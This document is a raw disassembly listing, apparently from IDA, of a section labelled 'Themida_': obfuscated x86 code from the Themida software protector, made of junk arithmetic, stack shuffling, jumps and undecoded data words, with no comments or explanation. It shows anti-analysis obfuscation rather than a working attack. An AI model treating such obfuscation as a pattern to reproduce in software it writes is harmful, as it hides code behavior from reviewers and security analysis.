loc_55AFA8: ; CODE XREF: Themida_:00556D78j
pop esi
push ecx
mov ecx, 4
jmp loc_55B54D
; ---------------------------------------------------------------------------
loc_55AFB4: ; CODE XREF: Themida_:00556FC9j
push ecx
mov ecx, 4
add ebx, ecx
pop ecx
xchg ebx, [esp]
pop esp
jmp loc_555BF4
; ---------------------------------------------------------------------------
dw 0B966h
dd 816657BCh, 0F7042444h, 0A222E931h, 0EB81FFFFh, 0FAC9FCEFh
dd 815BDD09h, 0EF18D9F5h, 1076053Ch, 852D3751h, 292E7135h
dd 358505E8h, 762D2E71h, 5D375110h, 489D68h, 242C8900h
dd 7F7B6853h, 815B4BCBh, 1867CDF3h, 5E3C167h, 0E905E3C1h
dd 0FFFFA218h, 4685259h, 5A000000h, 3ADE950h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55B02A: ; CODE XREF: Themida_:00556336j
push edi
push 768Dh
mov [esp], eax
mov eax, 1
mov edi, eax
pop eax
sub eax, 59DF28EBh
push ecx
mov ecx, 3A9243D2h
jmp loc_5576BF
; ---------------------------------------------------------------------------
loc_55B04B: ; CODE XREF: Themida_:00556425j
add esp, 4
push ecx
mov ecx, 7A8C000Fh
not ecx
inc ecx
push 0
sub dword ptr [esp], 349369EFh
sub [esp], ecx
add dword ptr [esp], 349369EFh
pop ecx
xchg ebp, ecx
not ebp
jmp loc_556BBF
; ---------------------------------------------------------------------------
dw 0EC83h
dd 4F56E904h, 0CBFE0000h, 50EAF380h, 0C33054B0h, 0FFE928E9h
dd 38F281FFh, 1223410h, 2434FFD6h, 32F6E9h, 66DF6800h
dd 0C890000h, 3726E924h, 0EFC10000h, 81D7F705h, 0B1B30EEFh
dd 0E9F929FEh, 0FFFFE4F9h
; ---------------------------------------------------------------------------
loc_55B0C0: ; CODE XREF: Themida_:0055DD30j
xor ecx, 344B2EEEh
xor ecx, 8973901Ah
jmp loc_555547
; ---------------------------------------------------------------------------
db 89h, 14h, 24h
dd 4EC81h, 0C0E90000h, 3100001Ch, 0D0015DEAh, 5124148Bh
dd 571DE9h
db 0
; ---------------------------------------------------------------------------
loc_55B0ED: ; CODE XREF: Themida_:0055F729j
pop dword ptr [esp]
pop esp
loc_55B0F1: ; CODE XREF: Themida_:00554F2Fj
; Themida_:0055D642j
push dword ptr [edi+24h]
push eax
mov eax, 48BB7B5Ah
xor [esp+4], eax
mov eax, [esp]
add esp, 4
mov ecx, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
push 2952h
jmp loc_55D6AA
; ---------------------------------------------------------------------------
db 83h
dd 2C8704C4h, 24248B24h, 280AE9h, 536FB100h, 0FFCD68E9h
dd 4BEFFh, 44810000h, 11990424h, 74012009h, 6C810424h
dd 11990424h, 5B5E2009h, 4C381h, 68520000h, 2, 8BD3015Ah
dd 3EE92414h, 89FFFFDAh, 15E9242Ch, 81FFFF9Ch, 2B74BBC6h
dd 0E303E956h, 34FFFFFFh, 0C4815924h, 4, 0B60F66h, 0FFEC53E9h
dd 0C18166FFh, 29661205h, 816659CEh, 66480AEEh, 0F5EF329h
dd 6866C0B7h, 8966438Eh, 1BE92404h, 41FFFF97h, 27C3E9h
dd 241C8B00h, 0FFD07EE9h, 79EA81FFh, 81356025h, 0B11CD7EAh
dd 5275E9FBh, 0C8B0000h, 0B866824h, 4890000h, 5585424h
dd 4, 0BB4EE952h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55B1EA: ; CODE XREF: Themida_:0055D8B0j
sub edi, 2D3667C3h
add edi, ecx
add edi, 2D3667C3h
pop ecx
and eax, edi
pop edi
shr eax, 12h
xor eax, ecx
push ebx
mov ebx, esp
jmp loc_560316
; ---------------------------------------------------------------------------
db 81h, 0ECh, 4
dd 89000000h, 2DE9242Ch, 80000058h, 0E1803AC1h, 52B353E1h
dd 80B8CB80h, 0D93098EBh, 59C8005Bh, 0C32CD800h, 509B68h
dd 24148900h, 0B21AB753h, 5BFA00BCh, 0F5E9D000h, 46h, 0E8305BFDh
dd 81240C8Bh, 4C4h, 0FC33000h, 34FFC0B6h, 0C5BE5687h, 0E90AA978h
dd 0FFFFC526h, 83240C8Bh, 50E904C4h, 53FFFFACh, 0FFC793E9h
dd 241C89FFh, 0FFD9F3E9h, 0ADEE81FFh, 1FFDB57h, 18E95EF7h
dd 5900001Bh, 80FDB551h, 0DAE93ACDh, 89FFFFB9h, 1B68240Ch
dd 8900005Fh, 4832424h, 34FF0424h, 4F62E924h, 0E9570000h
dd 0FFFFA8FBh, 24048B66h, 4EC81h, 41E90000h, 56FFFFD2h
dd 0FFAE7CE9h, 4EC81FFh, 89000000h, 8B54240Ch, 0C481240Ch
dd 4, 3D5E9h, 0EE95F00h, 68FFFFE0h, 650Ah, 0FF242C89h
dd 8B042474h, 0C481242Ch, 4, 0FF98ABE9h, 0D1FBDFFh, 0ED81013Ch
dd 23D3450Ah, 40BC581h, 63E938E0h
db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55B31B: ; CODE XREF: Themida_:0055A417j
add esi, 8114005h
xor esi, 46B759A2h
dec esi
push 3676h
mov [esp], eax
mov eax, 6E376009h
dec eax
xor eax, 4FDE142Eh
add eax, 6BFA7F4h
not eax
push edx
mov edx, 38042A5Ah
inc edx
add edx, 3445400h
neg edx
shl edx, 8
add edx, 11EE4092h
xor edx, 0D1899B5Eh
add eax, edx
pop edx
xor eax, 0BF9F735Eh
add esi, 75347C7Bh
sub esi, eax
jmp loc_557995
; ---------------------------------------------------------------------------
db 8Bh, 1Ch, 24h
dd 0E904C483h, 4B32h, 4A5CF05h, 0E9C329FAh, 5929h
; ---------------------------------------------------------------------------
loc_55B38C: ; CODE XREF: Themida_:00559CCDj
push ebp
not dword ptr [esp]
pop ebp
jmp loc_55627C
; ---------------------------------------------------------------------------
loc_55B396: ; CODE XREF: Themida_:005582D4j
and edi, 28301084h
or edi, 5F9D68E2h
xor edi, 5F9D68E6h
jmp loc_55BF09
; ---------------------------------------------------------------------------
db 1, 0FAh, 5Fh
dd 2B850h, 0EA810000h, 517C2707h, 0C281C201h, 517C2707h
dd 0FFBD12E9h, 241C89FFh, 2BBh, 2EE95500h, 0B8FFFFFFh
dd 4E574836h, 9B675235h, 54C1816Fh, 296E7E1Bh, 54E981C1h
dd 0E96E7E1Bh, 0ACCh
; ---------------------------------------------------------------------------
loc_55B3F4: ; CODE XREF: Themida_:0055D5EDj
push 7888h
jmp loc_55C50D
; ---------------------------------------------------------------------------
dw 0D4BAh
dd 315B6864h, 0EF015AD5h, 4CDAE9h, 148B6600h, 0E2895224h
dd 4BF57h, 8EE90000h, 2DFFFFFFh, 7362415Dh, 0B62CC235h
dd 0C631E96Dh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55B42E: ; CODE XREF: Themida_:005557E7j
add ebp, 4
xchg ebp, [esp]
pop esp
add eax, 4
add eax, 4
jmp loc_554F84
; ---------------------------------------------------------------------------
db 29h, 0D8h, 2Dh
dd 6321C09h, 2404875Bh, 3E2AE95Ch
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55B456: ; CODE XREF: Themida_:00560348j
mov ecx, ebp
mov ebp, [esp]
jmp loc_55D913
; ---------------------------------------------------------------------------
dd 2404875Dh, 116685Ch, 3C890000h, 5172BF24h, 4E90C94h
db 0B3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55B477: ; CODE XREF: Themida_:0055FB0Bj
mov dl, 0
neg dl
not dl
xor dl, 0A8h
add bl, 32h
sub bl, dl
sub bl, 32h
pop dx
sub bl, 0E0h
sub bl, al
jmp loc_559955
; ---------------------------------------------------------------------------
loc_55B494: ; CODE XREF: Themida_:0055DC2Bj
sub dword ptr [esp], 4CE272F0h
push dword ptr [esp]
pop esi
add esp, 4
add esi, 4CE272F0h
mov eax, esi
mov esi, [esp]
sub esp, 4
mov [esp], edx
jmp loc_55B5BD
; ---------------------------------------------------------------------------
dw 5243h
dd 847807BAh, 8BD33159h, 0C4832414h, 0F985E904h, 0A0B7FFFFh
dd 0F800C504h, 0FFBAD6E9h, 4C483FFh, 81E38953h, 4C3h, 4C38300h
dd 0FFBF74E9h, 6BD6BAFFh, 0E281311Dh, 3F114254h, 0FFFCC0E9h
dd 0C8B66FFh, 78FB6824h, 34890000h, 7DE6824h, 24890000h
dd 24048324h, 0D4E95E04h, 8100001Eh, 2EEh, 24348700h, 1489665Ch
dd 34E95324h, 89FFFFB9h, 0C3BBE9F5h, 0E689FFFFh, 4C681h
dd 0EE830000h, 24348704h, 3354E9h
db 0
; ---------------------------------------------------------------------------
loc_55B54D: ; CODE XREF: Themida_:0055AFAFj
sub edx, 24F63911h
add edx, ecx
add edx, 24F63911h
mov ecx, [esp]
add esp, 4
xchg edx, [esp]
jmp loc_5606AA
; ---------------------------------------------------------------------------
db 66h, 8Bh, 0Ch
aS_35 db '$é]',0Bh,0
align 2
dw 0E95Ah
dd 0FFFFCBD5h, 0E924248Bh, 0FFFF934Eh, 34FFD031h, 8BE95A24h
dd 8F000026h, 933CE902h, 5358FFFFh, 241C8B54h, 0F669E953h
dd 895CFFFFh, 5CE959CDh, 68FFFFF8h, 64C2h, 57240C89h, 0D76281BFh
dd 3EFC10Ah, 6FCE9h
db 0
; ---------------------------------------------------------------------------
loc_55B5BD: ; CODE XREF: Themida_:0055B4B9j
mov edx, esp
jmp loc_55F8AC
; ---------------------------------------------------------------------------
dd 42474FFh, 24048F59h, 0F2B8505Ch, 4825E53Ch, 50E9E955h
dd 50590000h, 0FFEB53E9h, 0E9D801FFh, 0FFFFDF2Eh, 0D2E953ADh
dd 0FFFFFFACh, 589D1C77h, 9C240411h, 0FF92D1E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55B5FD: ; CODE XREF: Themida_:0055A653j
add eax, ecx
add eax, 26093B19h
pop ecx
push esi
mov esi, eax
mov edx, esi
pop esi
pop eax
and eax, edx
pop edx
or edx, eax
shl edx, 1
push edx
push ebx
push 6EC87FAFh
mov ebx, [esp]
add esp, 4
jmp loc_558527
; ---------------------------------------------------------------------------
dd 61A0E281h, 0E2C147A5h, 0D8F28108h, 810E4B5Ah, 0D4052AC2h
dd 0FFD001F4h, 575A2434h, 0FFBDEAE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55B649: ; CODE XREF: Themida_:00556F76j
xchg ecx, [esp]
jmp loc_555710
; ---------------------------------------------------------------------------
aNQZHn db '-Q[ÏZ)Øh',8,0
align 2
dw 2C89h
dd 0E9E58924h, 0FFFFDA10h, 0E9240C89h, 0FFFFCD7Ch
; ---------------------------------------------------------------------------
loc_55B670: ; CODE XREF: Themida_:0055E7CFj
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
jmp loc_55E18C
; ---------------------------------------------------------------------------
db 0F7h, 0E1h, 68h
dd 535Bh, 0FF92A6E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55B691: ; CODE XREF: Themida_:00560552j
or edx, eax
shl edx, 1
push 1D44h
mov [esp], ecx
sub esp, 4
jmp loc_55F905
; ---------------------------------------------------------------------------
loc_55B6A8: ; CODE XREF: Themida_:00554E23j
or bl, 0D5h
xor bl, 7Fh
not bl
or bl, 3Ah
inc bl
jmp loc_55DB9E
; ---------------------------------------------------------------------------
dw 0BA52h
dd 4, 835AD101h, 3C8904ECh, 0E9505324h, 3383h
; ---------------------------------------------------------------------------
loc_55B6D0: ; CODE XREF: Themida_:0055587Dj
sub esi, 29212EC2h
sub esi, ecx
jmp loc_55FC90
; ---------------------------------------------------------------------------
db 89h, 2Ch, 24h
dd 801622BDh, 0ECF1E961h, 0E95AFFFFh, 211Eh, 56BA5258h
dd 89C7E576h, 44D8E9D0h, 33680000h, 0E930970Bh, 21ADh
dd 104C483h, 0F8015DE8h, 78C968h, 243C8900h, 266AD7BFh
dd 5436E94Bh, 0DA290000h, 0E9241C8Bh, 2C8Fh
; ---------------------------------------------------------------------------
loc_55B72C: ; CODE XREF: Themida_:0055B908j
xchg ebx, [esp]
pop esp
mov [esp], ecx
mov ecx, edi
push ecx
jmp loc_5564E5
; ---------------------------------------------------------------------------
db 0ACh
dd 81E18951h, 4C1h, 3B7FE900h, 248B0000h, 243CD224h, 30FBE99Ch
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55B756: ; CODE XREF: Themida_:00555D0Aj
xor edx, [esp]
pop esp
sub esp, 4
mov [esp], eax
mov eax, 5DE574FCh
add ecx, eax
jmp loc_55BB1D
; ---------------------------------------------------------------------------
db 5Fh
dd 0E924048Fh, 0FFFF9315h, 835FFA01h, 0EC8304EAh, 1B46E904h
dd 815C0000h, 4C2h, 0AB84E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55B792: ; CODE XREF: Themida_:0055E743j
pop esi
push esi
jmp loc_55C6D7
; ---------------------------------------------------------------------------
db 2Dh, 0D4h, 6Eh
dd 630569C4h, 0E96BF57Dh, 0FFFF91F0h, 8B243487h, 48B2424h
dd 5D5D6824h, 3C890000h, 53E78924h, 8904EC83h, 66BE2434h
dd 815C581Fh, 0F452F4C6h, 0E7FCE953h, 0BE56FFFFh, 62470F63h
dd 165BC681h, 0CE3108BDh, 0CE31F131h, 0F7CE8749h, 62F681DEh
dd 811DC806h, 6F79F1C6h, 344684Ah, 1C890000h, 5BCFBB24h
dd 0F38158BFh, 1565D8Dh, 0E9575543h, 0FFFFD06Fh, 240C8B66h
dd 525F5457h, 0FF9E3FE9h, 81CD01FFh, 2E18DFEDh, 2D14E931h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55B82A: ; CODE XREF: Themida_:0055E70Bj
pop esp
mov [esp], edi
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
jmp loc_55D9C2
; ---------------------------------------------------------------------------
loc_55B842: ; CODE XREF: Themida_:00554C81j
push dword ptr [esp]
pop ecx
push 2FD6h
mov [esp], ebp
mov ebp, esp
jmp loc_55C769
; ---------------------------------------------------------------------------
db 80h, 0E3h, 7Ah
dd 23E9D3F6h, 66FFFFF8h, 9C243CD3h, 0FF9065E9h, 0F1C581FFh
dd 0E9130544h, 1710h, 18DFC581h, 9EE9312Eh, 2DFFFFFFh
dd 661554B2h, 24148B5Bh, 0FFE3C1E9h, 0E8C140FFh, 5810D08h
dd 62D7B94h, 2D16B52Eh, 33F87F6Dh, 8158C389h, 31A75E3h
dd 0D475E934h, 315CFFFFh, 0BBBF57C3h, 81723A70h, 3861DACFh
dd 1595E96Ah, 0BE560000h, 78DA2971h, 296FEE81h, 0F50178DAh
dd 6C6F685Eh, 2C890000h, 0CEC8E924h, 0E9ADFFFFh, 4536h
dd 885BDA88h, 24148BD1h, 347CE9h, 0E7895700h, 4C781h, 0EF810000h
dd 4, 0FF9862E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55B905: ; CODE XREF: Themida_:005572E3j
sub ebx, ebp
pop ebp
jmp loc_55B72C
; ---------------------------------------------------------------------------
loc_55B90D: ; CODE XREF: Themida_:0055762Dj
push esi
push edx
sub esp, 4
mov [esp], ecx
mov ecx, 53F36EA2h
add ecx, 0AC0D115Eh
jmp loc_55F9B3
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
dd 0CC61E952h, 0E983FFFFh, 0E07BE904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55B936: ; CODE XREF: Themida_:0055589Fj
mov esi, 0CA01736h
sub ebp, 19D61BE5h
add ebp, esi
add ebp, 19D61BE5h
pop esi
and ecx, ebp
jmp loc_55E1F0
; ---------------------------------------------------------------------------
loc_55B951: ; CODE XREF: Themida_:0055CF1Dj
add bl, ah
add bl, 2Bh
add bl, 0B9h
pop eax
movzx eax, al
jmp dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
dd 0ACE9C361h, 5AFFFFACh, 15B5E9h
db 0
; ---------------------------------------------------------------------------
loc_55B96D: ; CODE XREF: Themida_:00559F75j
mov ebx, edx
pop edx
add [esp+4], ebx
pop ebx
jmp loc_55CC5D
; ---------------------------------------------------------------------------
loc_55B97A: ; CODE XREF: Themida_:0055D31Aj
sub ebp, esi
push dword ptr [esp]
pop esi
jmp loc_559DAA
; ---------------------------------------------------------------------------
loc_55B985: ; CODE XREF: Themida_:0055DDE2j
or edi, 51D70F6Ch
jmp loc_55F4EF
; ---------------------------------------------------------------------------
dd 0A940C281h, 0D7019498h, 2AC6815Ah, 12A6B15h, 0E75CE9FEh
dd 0CA87FFFFh, 90BF5759h, 0C11B552Bh, 0E94703EFh, 0FFFFA35Eh
; ---------------------------------------------------------------------------
loc_55B9B8: ; CODE XREF: Themida_:0055A839j
xchg ebp, [esp]
pop esp
sub esi, 586755C3h
sub edi, 50145E64h
add edi, esi
push ebx
jmp loc_55963B
; ---------------------------------------------------------------------------
loc_55B9D0: ; CODE XREF: Themida_:005579BCj
mov esi, 3DE6158Fh
not esi
jmp loc_55A3F8
; ---------------------------------------------------------------------------
dd 0E92434FFh, 0FFFFFBAEh, 0BF575E54h, 4, 815FFE01h, 4EEh
dd 24348700h, 242C895Ch, 0FFC884E9h, 79E981FFh, 0E9C419C3h
dd 0BBFh, 2404875Ah, 1C53E9h
db 0
; ---------------------------------------------------------------------------
loc_55BA15: ; CODE XREF: Themida_:00555158j
xchg esi, [esp]
mov esi, [esp]
add esp, 4
push ebp
push ecx
mov ecx, 37B8439Ah
mov ebp, ecx
pop ecx
shl ebp, 6
add ebp, 4C442854h
sub ebp, 0CDE0DF46h
xor esi, ebp
pop ebp
add esi, 0A4DD7456h
sub edx, esi
pop esi
xor edx, 0A1C8B8E9h
jmp loc_556BDD
; ---------------------------------------------------------------------------
loc_55BA51: ; CODE XREF: Themida_:0055A4B0j
sub esp, 4
mov [esp], edx
mov edx, 25EF304Bh
dec edx
add edx, 55444254h
shr edx, 4
add edx, 628006BBh
jmp loc_5607B8
; ---------------------------------------------------------------------------
loc_55BA71: ; CODE XREF: Themida_:0055BB30j
mov [esp], ecx
mov ecx, 0
sub ecx, ebp
xchg ecx, ebp
pop ecx
xor ebp, 142E6693h
and ecx, ebp
mov ebp, [esp]
push ebp
jmp loc_55E3EB
; ---------------------------------------------------------------------------
loc_55BA8F: ; CODE XREF: Themida_:00559366j
sub esp, 4
mov [esp], edi
push ebp
mov ebp, esp
jmp loc_5556BA
; ---------------------------------------------------------------------------
dd 8EDDE959h, 8B66FFFFh, 0F568240Ch, 89000023h, 58542404h
dd 0FFBC65E9h, 7DC181FFh, 5F1AE80Fh, 0E9240C87h, 0FFFFB62Ah
; ---------------------------------------------------------------------------
loc_55BAC8: ; CODE XREF: Themida_:0056005Aj
pop dword ptr [esp]
jmp loc_557D12
; ---------------------------------------------------------------------------
dd 335FFB01h, 96E9241Ch, 0B8FFFF8Eh, 2A24468Fh, 0C102E8C1h
dd 0B52D03E0h, 29DDE472h, 0BE5658C3h, 19A37FA5h, 525EF329h
dd 8E675ABAh, 8BD32920h, 0C4812414h, 4, 0C381C329h, 208E675Ah
dd 7FA5BF57h, 0FB0119A3h, 2DCE9h
db 0
; ---------------------------------------------------------------------------
loc_55BB1D: ; CODE XREF: Themida_:0055B76Aj
pop eax
push ebp
mov ebp, 76D4654Ah
add ebp, 74FD2C23h
sub esp, 4
jmp loc_55BA71
; ---------------------------------------------------------------------------
db 0C1h, 0E8h, 5
dd 468D8F7h, 8900007Ah, 0F8B9240Ch, 292F3669h, 0A00559C8h
dd 1ABDB4Ch, 24048BC3h, 5204C483h, 0B34255BAh, 0BBEA8149h
dd 811934DCh, 0D078DDEBh, 1607E97Ah, 0C6810000h, 1C8B2448h
dd 0C681D6F7h, 73366B5Bh, 53E4C681h, 0F0014666h, 0FFBDE5E9h
dd 4335FFFh, 24043124h, 5C240433h, 9C240429h, 0FF8D31E9h
dd 2414F7FFh, 0FA82E95Ah, 23E9FFFFh, 0BAFFFF8Dh, 4, 148BD701h
dd 4C48324h, 8B243C87h, 2E92424h, 5FFFFBBh, 4, 5C240487h
dd 66526866h, 241C8966h, 3F2D68h, 24048900h, 88513DB0h
dd 4EC83C5h, 88241489h, 0E9F388EEh, 4C00h, 0C181E189h
dd 4, 30BB5350h, 874B5C33h, 0E9D7F7FBh, 1144h, 24042966h
dd 8CBCE99Ch, 3489FFFFh, 4815024h, 0E32E5B24h, 24348B7Bh
dd 1672E9h, 80596600h, 0D82839F3h, 5B2434FFh, 5E08950h
dd 4, 405h, 31B1E900h, 0CA010000h, 4C28359h, 4EC81h, 14890000h
dd 0E961E924h, 0F331FFFFh, 0E0B9515Eh, 816CD636h, 0F244B5E9h
dd 19B9E972h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55BC6A: ; CODE XREF: Themida_:00555AF2j
mov [esp], eax
jmp loc_5548CE
; ---------------------------------------------------------------------------
loc_55BC72: ; CODE XREF: Themida_:0055627Dj
mov eax, 1FE11E0Dh
jmp loc_557EC9
; ---------------------------------------------------------------------------
dd 1081E95Ch
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55BC82: ; CODE XREF: Themida_:00559963j
pop edx
add eax, edi
pop edi
sub esp, 4
mov [esp], esi
jmp loc_555BA1
; ---------------------------------------------------------------------------
dd 5306E8C1h, 0FFE057E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55BC9D: ; CODE XREF: Themida_:00560CB0j
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
mov esp, [esp]
push esi
mov esi, 3F806A0Ah
jmp loc_556692
; ---------------------------------------------------------------------------
loc_55BCB3: ; CODE XREF: Themida_:00557700j
pop esp
jmp loc_5589F0
; ---------------------------------------------------------------------------
db 97h, 40h, 97h
dd 0EC4DEF81h, 2FE9015Ah
db 0B9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55BCC7: ; CODE XREF: Themida_:005564E0j
push ebp
mov ebp, 288A6916h
sub ebp, 19E65661h
sub ebp, 0C11EF32Ch
xor edx, ebp
pop ebp
push edi
jmp loc_55FD1C
; ---------------------------------------------------------------------------
loc_55BCE2: ; CODE XREF: Themida_:0055D990j
pop edi
and esi, ecx
mov ecx, [esp]
add esp, 4
neg esi
sub esi, 0F577FE00h
and eax, esi
jmp loc_556987
; ---------------------------------------------------------------------------
db 5Eh, 0F7h, 0D9h
dd 0C4BCE950h, 0E957FFFFh, 0FFFFD95Dh, 0B9240C89h, 27BFA05Bh
dd 3F8268h, 242C8900h, 4B74E9h, 2BC18100h, 8B586F49h, 0C4812414h
dd 4, 8904EC83h, 0BAE92434h, 8100003Ah, 4C3h, 241C8700h
dd 5DEF015Ch, 2C781h, 3C870000h, 8E95C24h
db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55BD57: ; CODE XREF: Themida_:00557F49j
add eax, 69106416h
jmp loc_558CB7
; ---------------------------------------------------------------------------
db 8Bh, 2 dup(24h)
dd 50C8B60Fh, 0EC81E089h, 4, 68241C89h, 5A541E1h, 0F381435Bh
dd 3535429Bh, 0EB81DBF7h, 66E989E1h, 0F34E381h, 64E94644h
dd 0ADFFFF9Dh, 207F83h, 8D17840Fh, 0C681FFFFh, 57C33389h
dd 38EBC681h, 0EE812709h, 5D1C41E2h, 0C681C601h, 5D1C41E2h
dd 38EBB951h, 0CE292709h, 3835E9h, 4C58100h, 87000000h
dd 248B242Ch, 4FE66824h, 1C890000h, 9FB65224h, 6603E6C0h
dd 660BFF68h, 0B0240489h, 26C680D8h, 0FFB91FE9h, 4C483FFh
dd 0FF8AD5E9h, 2434FFFFh, 0C5F0E95Fh, 0EB81FFFFh, 48C6582Bh
dd 5F2434FFh, 0FF97C8E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55BE11: ; CODE XREF: Themida_:00555C64j
push 5B4Fh
mov [esp], eax
mov eax, 65B17838h
or edi, eax
jmp loc_55D8A5
; ---------------------------------------------------------------------------
dd offset loc_425768
align 2
dw 5DE9h
dd 53000034h, 0FFD2D9E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55BE35: ; CODE XREF: Themida_:0055F5EDj
sub esp, 4
mov [esp], ebx
mov ebx, 119A2CBEh
sub esp, 4
mov [esp], edx
mov edx, 47614909h
sub ebx, edx
mov edx, [esp]
add esp, 4
sub ebx, 686C7E7Ch
dec ebx
shl ebx, 3
xor ebx, 3EA77D77h
jmp loc_55D5E7
; ---------------------------------------------------------------------------
loc_55BE6E: ; CODE XREF: Themida_:00557807j
xchg ebx, ebp
push edx
mov edx, 6DC872EFh
and edx, 2C0065E3h
neg edx
xor edx, 67032B40h
xor ebp, edx
pop edx
and eax, ebp
pop ebp
shr eax, 8
xor eax, ecx
xor eax, edx
xor edx, eax
xor eax, edx
push 7D58h
jmp loc_55D761
; ---------------------------------------------------------------------------
aZ41Fp db '‡4$\1Ãf',0
dd 0FF8A21E9h, 241431FFh, 0E9241433h, 0FFFFF892h, 0E902E9C1h
dd 0FFFFA1B9h, 81D10158h, 0CC2F64C1h, 24148B21h, 3F97E9h
dd 0FFBD5500h, 0F7313E15h, 4E5C1D5h, 0ED814545h, 0EC1EA000h
dd 15DEF89h, 0CA2FE9F9h, 0D300FFFFh, 5ADBC380h, 4EC81h
dd 8E90000h, 0BB00001Ah, 26FC573Ch, 2D79E9h
db 0
; ---------------------------------------------------------------------------
loc_55BF09: ; CODE XREF: Themida_:0055B3A8j
sub eax, 7A235E1Ch
sub eax, edi
jmp loc_55D19B
; ---------------------------------------------------------------------------
db 1, 0D7h, 53h
dd 0C811BBBBh, 0A755E96Fh, 1C89FFFFh, 5FB6BB24h, 8CE96E64h
dd 5D00000Eh, 5C240C87h, 0FF8995E9h, 0ADEB80FFh, 0FFC0B60Fh
dd 4818734h, 0E92D0024h, 2434FF44h, 4C48358h, 1B2168h
dd 240C8900h, 1B40E952h, 242C0000h, 8B66DF04h, 0C483240Ch
dd 2B5F6802h, 1C890000h, 500EB324h, 4192E9h, 245C2900h
dd 491DE908h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55BF82: ; CODE XREF: Themida_:0055937Cj
pop ecx
jmp loc_558348
; ---------------------------------------------------------------------------
dd 0C7117605h, 6CE95958h, 8B000014h, 5450240Ch, 11A5E958h
dd 0C3830000h, 241C8704h, 0E924248Bh, 0FFFFA2C8h, 4C681h
dd 0C6810000h, 4, 5C243487h, 4C581h, 0E9520000h, 0FFFFDE29h
dd 0C7BF0BBh, 2F29E965h, 895D0000h, 24148BD5h, 4C481h
dd 6F090000h, 2434FF1Ch, 4C4835Dh, 0FF88E1E9h, 48B66FFh
dd 0E0895024h, 405h, 42D00h, 4870000h, 34895C24h, 0AEE95424h
dd 0B500000Bh, 4299E96Dh, 0D3290000h, 50C3015Ah, 0FFDB55E9h
dd 240C87FFh, 0FFA8AFE9h, 81E689FFh, 4C6h, 4C68300h, 8B243487h
dd 0DEF72424h, 0FFB59DE9h, 2434FFFFh, 0E3895358h, 4C381h
dd 0C3810000h, 4, 0FFCB9CE9h, 241489FFh, 28C2E9h
db 0
; ---------------------------------------------------------------------------
loc_55C05D: ; CODE XREF: Themida_:00557E28j
pop dword ptr [esp]
pop esp
jmp loc_55620E
; ---------------------------------------------------------------------------
dw 5350h
dd 4BBh, 4815300h, 7D2AEC24h, 0EC2D587Fh, 8B7F7D2Ah
db 1Ch, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_55C8C4
; ---------------------------------------------------------------------------
loc_55C092: ; CODE XREF: Themida_:00559CBFj
add ebp, 4
xchg ebp, [esp]
pop esp
pop dword ptr [esp]
mov esp, [esp]
sub esp, 4
mov [esp], eax
push esp
pop eax
add eax, 4
sub eax, 4
xor eax, [esp]
jmp loc_558C08
; ---------------------------------------------------------------------------
db 1
dd 30E95FFAh, 5E000019h, 0A3E9D501h, 68FFFFF4h, 3CD9h
dd 54240C89h, 0FFCD43E9h, 246C81FFh, 459E404h, 12E95D22h
db 97h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55C0EB: ; CODE XREF: Themida_:0055C2BFj
add esp, 4
or eax, eax
jnz loc_55E905
sub esp, 4
mov [esp], esi
push 2F8A3DCEh
pop esi
mov edx, 8A05B14Dh
add edx, 31793196h
add edx, 77032F2Dh
sub edx, esi
sub edx, 77032F2Dh
sub edx, 31793196h
push dword ptr [esp]
mov esi, [esp]
jmp loc_55C168
; ---------------------------------------------------------------------------
loc_55C12C: ; CODE XREF: Themida_:0055F673j
add [esp], eax
pushf
jmp loc_556794
; ---------------------------------------------------------------------------
loc_55C135: ; CODE XREF: Themida_:0055C7F4j
push 20000h
pop ecx
jmp loc_554C7F
; ---------------------------------------------------------------------------
loc_55C140: ; CODE XREF: Themida_:0055FAF1j
and eax, ebp
pop ebp
or eax, eax
jz loc_5601CF
push ebx
sub esp, 4
jmp loc_55E466
; ---------------------------------------------------------------------------
dd 0EB5C781h, 0F7017F54h, 0EB5EF81h, 0E95E7F54h, 44B2h
; ---------------------------------------------------------------------------
loc_55C168: ; CODE XREF: Themida_:0055C127j
push ebp
mov ebp, esp
add ebp, 4
jmp loc_5569A1
; ---------------------------------------------------------------------------
dw 0C581h
dd 4, 1FA6E9h
db 0
; ---------------------------------------------------------------------------
loc_55C181: ; CODE XREF: Themida_:00557E4Dj
add edx, eax
pop eax
add edx, 4
jmp loc_55FD57
; ---------------------------------------------------------------------------
db 66h
dd 25FF181h, 6602EC83h, 66243489h, 0E91E61BEh, 0FFFFB7A2h
dd 0F659EA20h, 0B55166DAh, 55C580A0h, 0E580CDFEh, 0A5CD806Fh
dd 5F9E9h, 4C48300h, 34FFEA89h, 242C8B24h, 4C481h, 0E9550000h
dd 0FFFFD366h
; ---------------------------------------------------------------------------
